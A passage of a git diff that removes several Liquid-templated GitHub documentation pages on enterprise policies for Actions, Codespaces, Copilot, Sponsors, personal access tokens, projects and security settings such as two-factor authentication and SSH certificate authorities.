with risks: - -* There is no guarantee that self-hosted runners will be hosted on ephemeral, clean virtual machines. As a result, they may be compromised by untrusted code in a workflow. -* Anyone who can fork the repository and open a pull request can compromise the self-hosted runner environment, potentially gaining access to secrets and the `GITHUB_TOKEN`, which may have write access to the repository. - -In the "Runners" section, you can mediate these risks by disabling the use of repository-level self-hosted runners. - -{% ifversion ghec %} -* **Disable for all organizations:** Prevents the creation of runners at the repository level. -* **Disable in all Enterprise Managed User (EMU) repositories:** Prevents the creation of runners for repositories owned by {% data variables.enterprise.prodname_managed_users %}. -{% endif %} - -{% data reusables.actions.disable-selfhosted-runners-note %} - -## {% ifversion ghes %}Artifact, log, and cache settings{% else %}Artifact and log retention{% endif %} - -{% ifversion ghes %} - -These policies control storage of artifacts, logs, and caches. - -### Artifact and log retention - -{% endif %} - -By default, artifacts and log files generated by workflows are retained for 90 days. {% ifversion ghes %}You can change this retention period to anywhere between 1 and 400 days.{% else %}You can change the retention period. - -* For public repositories, you can configure a period between 1 and 90 days. -* For private and internal repositories, you can configure a period between 1 and 400 days. -{% endif %} - -Changes only apply to new artifacts and log files. - -{% ifversion ghes %} - -### Maximum and default cache size limits - -By default: - -* The total cache storage that {% data variables.product.prodname_actions %} uses on the external storage for {% data variables.location.product_location %} is limited to a maximum of 10 GB per repository. -* The maximum allowed size that can be set for a repository is 25 GB. - -{% data reusables.actions.cache-eviction-process %} - -You can customize both the default total cache size for each repository and the maximum total cache size allowed for a repository. For example, you might want the default total cache size for each repository to be 5 GB, but also allow administrators to configure a total cache size up to 15 GB for individual repositories. - -Organization owners can set a lower total cache size that applies to each repository in their organization. People with admin access to a repository can set a total cache size for their repository up to the maximum cache size allowed by the enterprise or organization policy setting. - -{% endif %} - -{% ifversion ghec %} - -## Fork pull request workflows from outside collaborators - -Anyone can fork a public repository, then submit a pull request to propose changes to the repository's workflows. To prevent abuse, workflows will not run automatically on pull requests created by some contributors. - -You can configure which pull requests require approval before they are run. - ->[!WARNING] When requiring approvals only for first-time contributors (the first two settings), a user that has had any commit or pull request merged into the repository will not require approval. A malicious user could meet this requirement by getting a simple typo or other innocuous change accepted by a maintainer, either as part of a pull request they have authored or as part of another user's pull request. - -* **Require approval for first-time contributors who are new to {% data variables.product.prodname_dotcom %}**. Requires approval for users who have never committed to the repository and have new {% data variables.product.prodname_dotcom %} accounts. -* **Require approval for first-time contributors**. Requires approval for users who have never committed to the repository. -* **Require approval for all outside collaborators**. Requires approval for all users who are not organization members. - -> [!NOTE] Workflows on the base branch triggered by `pull_request_target` events will always run, regardless of approval settings. - -{% endif %} - -## Fork pull request workflows in private repositories - -You can control how users can run workflows on `pull_request` events in private and internal repositories. - -* **Run workflows from fork pull requests**. Users can run workflows from fork pull requests. By default, workflows will use a `GITHUB_TOKEN` with read-only permission, with no access to secrets. -* **Send write tokens to workflows from pull requests**. Workflows will use a `GITHUB_TOKEN` with write permission. -* **Send secrets to workflows from pull requests**. All secrets are available to the pull request. -* **Require approval for fork pull request workflows**. Workflows on pull requests from collaborators without write permission will require approval from someone with write permission before they will run. - -If a policy is enabled for an enterprise, the policy can be selectively disabled in individual organizations or repositories. If a policy is disabled for an enterprise, individual organizations or repositories cannot enable it. - -## Workflow permissions - -In the "Workflow permissions" section, you can set the **default** permissions granted to the `GITHUB_TOKEN`. - -* **Read and write permissions:** By default, `GITHUB_TOKEN` has read and write access for all scopes. -* **Read repository contents and packages permissions:** By default, `GITHUB_TOKEN` has only read access for the `contents` and `packages` scopes. The more permissive setting cannot be chosen as the default for individual organizations or repositories. - -Anyone with write access to a repository can still modify the permissions granted to the `GITHUB_TOKEN` for a specific workflow, by editing the `permissions` key in the workflow file. - -**Allow GitHub Actions to create and approve pull requests** is disabled by default. If you enable this setting, `GITHUB_TOKEN` can create and approve pull requests. diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-codespaces-in-your-enterprise.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-codespaces-in-your-enterprise.md deleted file mode 100644 index bc2245f1fea6..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-codespaces-in-your-enterprise.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Enforcing policies for GitHub Codespaces in your enterprise -shortTitle: GitHub Codespaces policies -intro: 'You can enforce policies for {% data variables.product.prodname_github_codespaces %} within your enterprise''s organizations.' -permissions: 'Enterprise owners can enforce policies for {% data variables.product.prodname_github_codespaces %} in an enterprise.' -versions: - ghec: '*' -type: how_to -topics: - - Codespaces - - Enterprise - - Organizations - - Policies -redirect_from: - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-codespaces-in-your-enterprise ---- - ->[!NOTE] {% data variables.product.prodname_github_codespaces %} is not available for enterprises that use {% data variables.enterprise.data_residency %}. - -## About enterprise policies for {% data variables.product.prodname_github_codespaces %} - -As an enterprise owner, you can set a policy to enable or disable {% data variables.product.prodname_github_codespaces %} across organizations in your enterprise. You can enable {% data variables.product.prodname_github_codespaces %} for all organizations, enable for specific organizations, or disable for all organizations. - -If you disable {% data variables.product.prodname_github_codespaces %} for an organization, users cannot use or create codespaces for any of that organization's private or internal repositories, regardless of whether use of the codespace would be billed to the user or to your organization or enterprise. You cannot prevent users from creating and using codespaces for public repositories in your organizations at their own expense, but an organization will not be able to pay for this usage if {% data variables.product.prodname_github_codespaces %} is disabled. - -By enabling {% data variables.product.prodname_github_codespaces %}, you can help your members and collaborators get started with projects quickly, without needing to install lots of tools and dependencies locally to start contributing. However, you might want to roll out {% data variables.product.prodname_github_codespaces %} gradually across your organizations by enabling it for more organizations over time. Alternatively, if you need to comply with security regulations that require increased control over the private code in your enterprise, you might want to disable {% data variables.product.prodname_github_codespaces %} for all organizations in your enterprise. - -If you're an organization owner, you can enable {% data variables.product.prodname_github_codespaces %} for specific members and collaborators in an organization. You can also choose to pay for these users' usage of {% data variables.product.prodname_codespaces %}. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization) and [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization). - -## Enabling or disabling {% data variables.product.prodname_github_codespaces %} in your enterprise - -> [!NOTE] -> If you remove a user's access to {% data variables.product.prodname_github_codespaces %}, the user will immediately be unable to open existing codespaces they have created from an organization's private and internal repositories. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization#about-changing-your-settings). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -1. Under "{% octicon "law" aria-hidden="true" %} Policies," click **Codespaces**. -1. On the {% data variables.product.prodname_github_codespaces %} policies page, under "Manage organization access to {% data variables.product.prodname_github_codespaces %}," select whether to enable {% data variables.product.prodname_github_codespaces %} in your organizations' private and internal repositories. - - You can enable for all organizations, enable for specific organizations, or disable for all organizations. -1. Click **Save**. -1. Read the confirmation dialog, then click **Submit** to proceed. diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise.md deleted file mode 100644 index 578e3bc8a99e..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Enforcing policies for GitHub Copilot in your enterprise -intro: 'You can enforce policies for {% data variables.product.prodname_copilot %} within your enterprise''s organizations, or allow policies to be set in each organization.' -permissions: 'Enterprise owners can enforce policies for {% data variables.product.prodname_copilot %} in an enterprise.' -product: '{% data reusables.gated-features.copilot-billing %}' -versions: - ghec: '*' -type: how_to -topics: - - Copilot - - Enterprise - - Organizations - - Policies -shortTitle: GitHub Copilot policies -redirect_from: - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise ---- - -Enterprise admins can: - -* Enforce {% data variables.product.prodname_copilot_short %} policies for organizations in the enterprise. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise). -* Enable or disable {% data variables.product.prodname_copilot_short %} for organizations in the enterprise. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/enabling-copilot-for-organizations-in-your-enterprise) and [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/disabling-copilot-for-organizations-in-your-enterprise). diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-sponsors-in-your-enterprise.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-sponsors-in-your-enterprise.md deleted file mode 100644 index 098f560be8c3..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-sponsors-in-your-enterprise.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Enforcing policies for GitHub Sponsors in your enterprise -intro: Enterprise owners can control whether to allow the enterprise's organizations to sponsor open source projects. -permissions: 'Enterprise owners can enforce policies for {% data variables.product.prodname_sponsors %} in an enterprise.' -versions: - feature: enterprise-orgs-sponsors-with-cc -type: how_to -topics: - - Sponsors - - Enterprise - - Policies -shortTitle: '{% data variables.product.prodname_sponsors %} policies' -redirect_from: - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-sponsors-in-your-enterprise ---- - -## About enterprise policies for {% data variables.product.prodname_sponsors %} - -{% data variables.product.prodname_sponsors %} allows your organizations to financially support developers who build the open source projects you depend on. For more information, see [AUTOTITLE](/sponsors/getting-started-with-github-sponsors/about-github-sponsors) and [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor). - -By default, organizations that belong to an enterprise that pays by credit card cannot sponsor open source contributors. You can set a policy to enable {% data variables.product.prodname_sponsors %} for individual organizations in your enterprise. - -Organizations that belong to an enterprise that pays by invoice can either pay for sponsorship by invoice or attribute sponsorships using a linked account. For more information, see [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice) or [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization). - -## Enforcing a policy to allow the use of {% data variables.product.prodname_sponsors %} in your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -1. Under {% octicon "law" aria-hidden="true" %} "Policies", click **Sponsors**. -1. Under "Sponsors", click **Add organization**. -1. Begin typing the name of the organization you'd like to enable sponsorships for, then click the name of the organization in the list. -1. Click **Enable sponsorships**. - -## Enforcing a policy to disallow the use of {% data variables.product.prodname_sponsors %} in your enterprise - -You can disallow the use of {% data variables.product.prodname_sponsors %} for an organization that you previously allowed to use the feature. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -1. Under {% octicon "law" aria-hidden="true" %} "Policies", click **Sponsors**. -1. Under "Sponsors", to the right of the organization's name, click **Disable**. diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md deleted file mode 100644 index 64955fd8a6f8..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Enforcing policies for personal access tokens in your enterprise -intro: 'Enterprise owners can control access to resources by applying policies to {% data variables.product.pat_generic_plural %}' -versions: - ghec: '*' - ghes: '*' -shortTitle: '{% data variables.product.pat_generic_caps %} policies' -redirect_from: - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise ---- - -## Restricting access by {% data variables.product.pat_generic_plural %} - -Enterprise owners can prevent their members from using {% data variables.product.pat_generic_plural %} to access resources owned by the enterprise. You can configure these restrictions for {% data variables.product.pat_v1_plural %} and {% data variables.product.pat_v2_plural %} independently with the following options: - -* **Allow organizations to configure access requirements:** Each organization owned by the enterprise can decide whether to restrict or permit access by {% data variables.product.pat_generic_plural %}. This is the default setting. -* **Restrict access via {% data variables.product.pat_generic_plural %}:** {% data variables.product.pat_generic_caps_plural %} cannot access organizations owned by the enterprise. SSH keys created by these {% data variables.product.pat_generic_plural %} will continue to work. Organizations cannot override this setting. -* **Allow access via {% data variables.product.pat_generic_plural %}:** {% data variables.product.pat_generic_caps_plural %} can access organizations owned by the enterprise. Organizations cannot override this setting. - -By default, organizations and enterprises allow access by both {% data variables.product.pat_v2_plural %} and {% data variables.product.pat_v1_plural %}. - -Regardless of the chosen policy, {% data variables.product.pat_generic_caps_plural %} will have access to public resources within the organizations managed by your enterprise. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -1. Under **{% octicon "law" aria-hidden="true" %} Policies**, click **{% data variables.product.pat_generic_caps_plural %}**. {% ifversion tabbed-pat-settings-ui %} -1. Select either the **Fine-grained tokens** or **Tokens (classic)** tab to enforce this policy based on the token type. {% endif %} -1. Under **{% data variables.product.pat_v2_caps_plural %}** or **Restrict {% data variables.product.pat_v1_plural %} from accessing your organizations**, select your access policy. -1. Click **Save**. - -{% ifversion pats-maximum-lifetime %} - -## Enforcing a maximum lifetime policy for {% data variables.product.pat_generic_plural %} - -Enterprise owners can set and remove maximum lifetime allowances for both {% data variables.product.pat_v2_plural %} and {% data variables.product.pat_v1_plural %} to help protect enterprise resources. Organization owners within the enterprise can further restrict the lifetime policies for their organizations. See [Enforcing a maximum lifetime policy for {% data variables.product.pat_generic_plural %}](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization#enforcing-a-maximum-lifetime-policy-for-personal-access-tokens). - -For {% data variables.product.pat_v2_plural %}, the default the maximum lifetime policy for organizations and enterprises is set to expire within 366 days. {% data variables.product.pat_v1_caps_plural %} do not have an expiration requirement. - -### Policy enforcement details - -For {% ifversion ghes %}GHES {% else %}{% data variables.product.prodname_emus %}{% endif %}, the enterprise-level policies apply to user namespaces as well because the enterprise owns the user accounts. - -The policies around maximum lifetimes are enforced slightly differently for {% data variables.product.pat_v2_plural %} and {% data variables.product.pat_v1_plural %}. For {% data variables.product.pat_classic_plural %}, enforcement occurs when the token is used and when SSO credential authorization is attempted, and errors will prompt users to adjust the lifetime. For {% data variables.product.pat_v2_plural %}, the target organization is known at the time of token creation. In both cases, users will be prompted to regenerate tokens with compliant lifetimes if the current one exceeds the policy limit. - -When you set a policy, tokens with non-compliant lifetimes will be blocked from accessing your organization if the token belongs to a member of your organization. Setting this policy does not revoke or disable these tokens. Users will learn that their existing token is non-compliant when API calls for your organization are rejected. - -### Setting a maximum lifetime policy - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %}, then click **{% octicon "key" aria-hidden="true" %} {% data variables.product.pat_generic_caps %}s**. -1. Select either the **Fine-grained tokens** or **Tokens (classic)** tab to enforce this policy based on the token type. -1. Under **Set maximum lifetimes for {% data variables.product.pat_generic_plural %}**, set the maximum lifetime. Tokens must be created with a lifetime less than or equal to this many days. -1. Optionally, to exempt your enterprise administrators from this policy, check the **Exempt administrators** checkbox. You should exempt them from this policy if you use SCIM for user provisioning or have automation that has not migrated to {% data variables.product.prodname_github_app %} yet. - >[!WARNING] If you use {% data variables.product.prodname_emus %}, you will be asked to accept the risk of service interruption unless you exempt your enterprise administrators. This ensures you are aware of the potential risk. -1. Click **Save**. -{% endif %} - -## Enforcing an approval policy for {% data variables.product.pat_v2_plural %} - -Enterprise owners can manage approval requirements for each {% data variables.product.pat_v2 %} with the following options: - -* **Allow organizations to configure approval requirements:** Enterprise owners can allow each organization in the enterprise to set its own approval requirements for the tokens. This is the default. -* **Require approval:** Enterprise owners can require that all organizations within the enterprise must approve each {% data variables.product.pat_v2 %} that can access the organization. These tokens can still read public resources within the organization without needing approval. -* **Disable approval:** {% data variables.product.pat_v2_caps %}s created by organization members can access organizations owned by the enterprise without prior approval. Organizations cannot override this setting. - -By default, organizations require approval of {% data variables.product.pat_v2_plural %}, but are able to disable this requirement. Using the settings above, you can force your organizations to have approvals enabled or disabled. - -> [!NOTE] -> Only {% data variables.product.pat_v2 %}s, not {% data variables.product.pat_v1_plural %}, are subject to approval. Any {% data variables.product.pat_v1 %} can access organization resources without prior approval, unless the organization or enterprise has restricted access by {% data variables.product.pat_v1_plural %} For more information about restricting {% data variables.product.pat_v1_plural %}, see [Restricting access by {% data variables.product.pat_generic_plural %}](#restricting-access-by-personal-access-tokens) on this page and [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -1. Under **{% octicon "law" aria-hidden="true" %} Policies**, click **{% data variables.product.pat_generic_caps_plural %}**. {% ifversion tabbed-pat-settings-ui %} -1. Select the **Fine-grained tokens** tab. {% endif %} -1. Under **Require approval of {% data variables.product.pat_v2_plural %}**, select your approval policy: -1. Click **Save**. diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise.md deleted file mode 100644 index 74822b2ccb38..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Enforcing policies for projects in your enterprise -intro: 'You can enforce policies for {% data variables.projects.projects_v2_and_v1 %} within your enterprise''s organizations, or allow policies to be set in each organization.' -permissions: Enterprise owners can enforce policies for projects in an enterprise. -redirect_from: - - /articles/enforcing-project-board-settings-for-organizations-in-your-business-account - - /articles/enforcing-project-board-policies-for-organizations-in-your-enterprise-account - - /articles/enforcing-project-board-policies-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/enforcing-project-board-policies-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/enforcing-project-board-policies-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-project-board-policies-in-your-enterprise-account - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Enterprise - - Policies - - Projects -shortTitle: Projects policies ---- - -## About policies for projects in your enterprise - -You can enforce policies to control how enterprise members manage {% data variables.projects.projects_v2_and_v1 %}, or you can allow organization owners to manage policies for {% data variables.projects.projects_v2_and_v1 %} at the organization level. - -{% ifversion projects-v1 %} - -Some policies apply to both {% data variables.product.prodname_projects_v2 %}, the new projects experience, and {% data variables.product.prodname_projects_v1 %}, the previous experience, while some apply only to {% data variables.product.prodname_projects_v1 %}. For more information about each experience, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) and [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards). - -{% endif %} - -## Enforcing a policy for organization-wide projects - -Across all organizations owned by your enterprise, you can enable or disable organization-wide {% data variables.projects.projects_v2 %}, or allow owners to administer the setting on the organization level. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.projects-tab %} -1. Under "Organization projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "Organization projects", select the dropdown menu and click a policy. - -{% ifversion project-visibility-policy %} - -## Enforcing a policy for visibility changes to projects - -Across all organizations owned by your enterprise, you can enable or disable the ability for people with admin access to a project to change the visibility of the project, or you can allow owners to administer the setting on the organization level. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.projects-tab %} -1. Under "Project visibility change permission", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Select the dropdown menu, then click a policy. -{% endif %} - -{% ifversion projects-v1 %} - -## Enforcing policies for {% data variables.product.prodname_projects_v1 %} - -Some policies apply only to {% data variables.product.prodname_projects_v1 %}. - -### Enforcing a policy for repository projects - -Across all organizations owned by your enterprise, you can enable or disable repository-level projects, or allow owners to administer the setting at the organization level. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.projects-tab %} -1. Under "Repository projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "Repository projects", select the dropdown menu and click a policy. -{% endif %} diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md deleted file mode 100644 index bd0e8ac1714d..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Enforcing policies for security settings in your enterprise -intro: 'You can enforce policies to manage security settings in your enterprise''s organizations, or allow policies to be set in each organization.' -permissions: Enterprise owners can enforce policies for security settings in an enterprise. -redirect_from: - - /articles/enforcing-security-settings-for-organizations-in-your-business-account - - /articles/enforcing-security-settings-for-organizations-in-your-enterprise-account - - /articles/enforcing-security-settings-in-your-enterprise-account - - /github/articles/managing-allowed-ip-addresses-for-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/enforcing-security-settings-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/enforcing-security-settings-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-security-settings-in-your-enterprise-account - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Enterprise - - Policies - - Security -shortTitle: Policies for security settings ---- - -## About policies for security settings in your enterprise - -You can enforce policies to control the security settings for organizations owned by your enterprise. By default, organization owners can manage security settings. - -## Requiring two-factor authentication for organizations in your enterprise - -{% ifversion mandatory-2fa-dotcom-contributors %} -{% data reusables.two_fa.mandatory-2fa-contributors-2023 %} -{% endif %} - -{% ifversion ghes %}If {% data variables.location.product_location %} uses LDAP or built-in authentication, enterprise{% else %}Enterprise{% endif %} owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise use two-factor authentication to secure their user accounts.{% ifversion ghec %} This policy is not available for enterprises with managed users.{% endif %} - -Before you can require two-factor authentication for all organizations owned by your enterprise, you must enable 2FA for your own account. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa). - -Before you require use of two-factor authentication, we recommend notifying organization members, outside collaborators, and billing managers and asking them to set up 2FA for their accounts. Organization owners can see if members and outside collaborators already use 2FA on each organization's "People" page. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled). - -{% data reusables.two_fa.ghes_ntp %} - -> [!WARNING] -> * When you require two-factor authentication for your enterprise, outside collaborators (including bot accounts) in all organizations owned by your enterprise who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can reinstate their access privileges and settings if they enable 2FA for their account within three months of their removal from your organization. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization). -> * Any outside collaborator in any of the organizations owned by your enterprise who disables 2FA for their account after you've enabled required two-factor authentication will automatically be removed from the organization. Members and billing managers who disable 2FA will not be able to access organization resources until they re-enable it. -> * If you're the sole owner of an enterprise that requires two-factor authentication, you won't be able to disable 2FA for your user account without disabling required 2FA for the enterprise. - -{% ifversion mandatory-2fa-dotcom-contributors %} - -> [!NOTE] -> Some of the users in your organizations may have been selected for mandatory two-factor authentication enrollment by {% data variables.product.prodname_dotcom_the_website %}, but it has no impact on how you enable the 2FA requirement for the organizations in your enterprise. If you enable the 2FA requirement for organizations in your enterprise, outside collaborators without 2FA currently enabled will be removed from the organizations, including those that are required to enable it by {% data variables.product.prodname_dotcom_the_website %}. - -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -1. Under "Two-factor authentication", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "Two-factor authentication", select **Require two-factor authentication for the enterprise and all of its organizations**, then click **Save**. -1. If prompted, read the information about how user access to organization resources will be affected by a 2FA requirement. To confirm the change, click **Confirm**. -1. Optionally, if any outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. Each person must enable 2FA before they can accept your invitation. - -{% ifversion fpt or ghec %} - -### Requiring secure methods of two-factor authentication for organizations in your enterprise - -Alongside requiring two-factor authentication, enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise use secure methods of 2FA. Secure two-factor methods are passkeys, security keys, authenticator apps, and the GitHub mobile app. Users who do not have a secure method of 2FA configured, or who have any insecure method configured, will be prevented from accessing resources within any organizations owned by an enterprise. {% ifversion ghec %} This policy is not available for enterprises with managed users.{% endif %} - -Before you require secure methods of two-factor authentication, we recommend notifying organization members, outside collaborators, and billing managers and asking them to set up secure 2FA for their accounts. Organization owners can see if members and outside collaborators already use secure methods of 2FA on each organization's "People" page. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled). - -{% data reusables.enterprise.secure_two_factor_authentication %} -{% data reusables.organizations.secure_two_factor_authentication_confirm %} -1. Optionally, if any outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. Each person must enable 2FA with a secure method before they can accept your invitation. - -{% endif %} - -## Managing SSH certificate authorities for your enterprise - -You can use a SSH certificate authority (CA) to allow members of any organization owned by your enterprise to access that organization's repositories using SSH certificates you provide. {% ifversion ssh-user-ca %}{% ifversion ghec %}If your enterprise uses {% data variables.product.prodname_emus %}, enterprise{% elsif ghes %}Enterprise{% endif %} members can also be allowed to use the certificate to access personally-owned repositories.{% endif %} {% data reusables.organizations.can-require-ssh-cert %} For more information, see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities). - -{% data reusables.organizations.add-extension-to-cert %} - -### Adding an SSH certificate authority - -If you require SSH certificates for your enterprise, enterprise members should use a special URL for Git operations over SSH. For more information, see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities#about-ssh-urls-with-ssh-certificates). - - {% data reusables.enterprise.certificate-authority-usage %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -{% data reusables.organizations.new-ssh-ca %} -{% data reusables.organizations.require-ssh-cert %} - -{% ifversion ssh-user-ca %} - -### Managing access to user-owned repositories - -You can enable or disable access to user-owned repositories with an SSH certificate{% ifversion ghec %} if your enterprise uses {% data variables.enterprise.prodname_managed_users %}. However, if your enterprise uses personal accounts on {% data variables.product.prodname_dotcom_the_website %} members cannot use the certificate to access personally-owned repositories{% endif %}. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -1. Under "SSH Certificate Authorities", select the **Access User Owned Repository** checkbox. -{% endif %} - -### Deleting an SSH certificate authority - -Deleting a CA cannot be undone. If you want to use the same CA in the future, you'll need to upload the CA again. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -{% data reusables.organizations.delete-ssh-ca %} - -{% ifversion ssh-ca-expires %} - -## Upgrading an SSH certificate authority - -CAs uploaded to your enterprise {% ifversion ghec %}prior to March 27th, 2024,{% elsif ghes %}before {% data variables.product.prodname_ghe_server %} version 3.13{% endif %} allow the use of non-expiring certificates. To learn more about why expirations are now required for new CAs, see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities#issuing-certificates). You can upgrade an existing CA to prevent it from issuing non-expiring certificates. For best security, we strongly recommend upgrading all your CAs once you validate you're not reliant on non-expiring certificates. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -1. Under "SSH Certificate Authorities", to the right of the CA you want to upgrade, click **Upgrade**. -1. Read the warning, then click **Upgrade**. - -After upgrading the CA, non-expiring certificates signed by that CA will be rejected. -{% endif %} - -{% ifversion sso-redirect %} - -## Managing SSO for unauthenticated users - -{% data reusables.enterprise-managed.sso-redirect-release-phase %} - -If your enterprise uses {% data variables.product.prodname_emus %}, you can choose what unauthenticated users see when they attempt to access your enterprise's resources. For more information about {% data variables.product.prodname_emus %}, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). - -By default, to hide the existence of private resources, when an 